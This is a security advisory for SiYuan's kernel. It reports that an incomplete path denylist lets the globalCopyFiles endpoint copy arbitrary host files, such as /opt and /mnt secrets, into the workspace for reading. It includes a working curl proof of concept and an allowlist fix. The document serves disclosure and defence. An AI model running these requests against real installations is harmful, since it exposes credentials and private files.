GHSA-vm69-h85x-8p85 — kernel

Summary

The IsSensitivePath() function in kernel/util/path.go uses a denylist approach that was recently expanded (GHSA-h5vh-m7fg-w5h6, commit 9914fd1) but remains incomplete. Multiple security-relevant Linux directories are not blocked, including /opt (application data), /usr (local configs/binaries), /home (other users), /mnt and /media (mounted volumes). The globalCopyFiles and importStdMd endpoints rely on IsSensitivePath as their primary defense against reading files outside the workspace.

Details

Current denylist in kernel/util/path.go:391-405:

prefixes := []string{
    "/.",       // dotfiles
    "/etc",     // system config
    "/root",    // root home
    "/var",     // variable data
    "/proc",    // process info
    "/sys",     // sysfs
    "/run",     // runtime data
    "/bin",     // binaries
    "/boot",    // boot files
    "/dev",     // devices
    "/lib",     // libraries
    "/srv",     // service data
    "/tmp",     // temp files
}

NOT blocked:

• /opt — commonly contains application data, databases, credentials. In SiYuan Docker, /opt/siyuan/ contains the application itself.
• /usr — contains /usr/local/etc, /usr/local/share, custom configs
• /home — other users' home directories (only ~/.ssh and ~/.config of the current HomeDir are blocked via separate checks, but other users' homes are accessible)
• /mnt, /media — mounted volumes, network shares, often containing secrets
• /snap — snap package data
• /sbin, /lib64 — system binaries/libraries

The globalCopyFiles endpoint at kernel/api/file.go:82 uses IsSensitivePath as its sole path validation:

if util.IsSensitivePath(absSrc) {
    // reject
    continue
}
// File is copied into workspace — then readable via /api/file/getFile

PoC

# Read SiYuan's own application files from /opt (Docker deployment)
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"srcs":["/opt/siyuan/kernel/SiYuan-Kernel"],"destDir":"data/assets"}'

# Then read the copied file from workspace
curl -s 'http://127.0.0.1:6806/api/file/getFile' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"path":"data/assets/SiYuan-Kernel"}'

# Read files from mounted volumes
curl -s 'http://127.0.0.1:6806/api/file/globalCopyFiles' \
  -H 'Authorization: Token YOUR_API_TOKEN' \
  -H 'Content-Type: application/json' \
  -d '{"srcs":["/mnt/secrets/credentials.json"],"destDir":"data/assets"}'

Impact

• Read arbitrary files from /opt, /usr, /home, /mnt, /media and any other non-denylisted path
• In Docker deployments: read application source code, configs, mounted secrets
• The denylist approach is fundamentally flawed — any newly added filesystem path is accessible until explicitly blocked

Recommended Fix

Switch from a denylist to an allowlist approach. Only permit copying from the workspace directory and explicitly approved external paths:

func IsSensitivePath(p string) bool {
    absPath := filepath.Clean(p)

    // Allowlist: only workspace and configured safe directories
    if strings.HasPrefix(absPath, WorkspaceDir) {
        // Block workspace-internal sensitive paths (conf/)
        if strings.HasPrefix(absPath, filepath.Join(WorkspaceDir, "conf")) {
            return true
        }
        return false
    }

    // Everything outside workspace is sensitive by default
    return true
}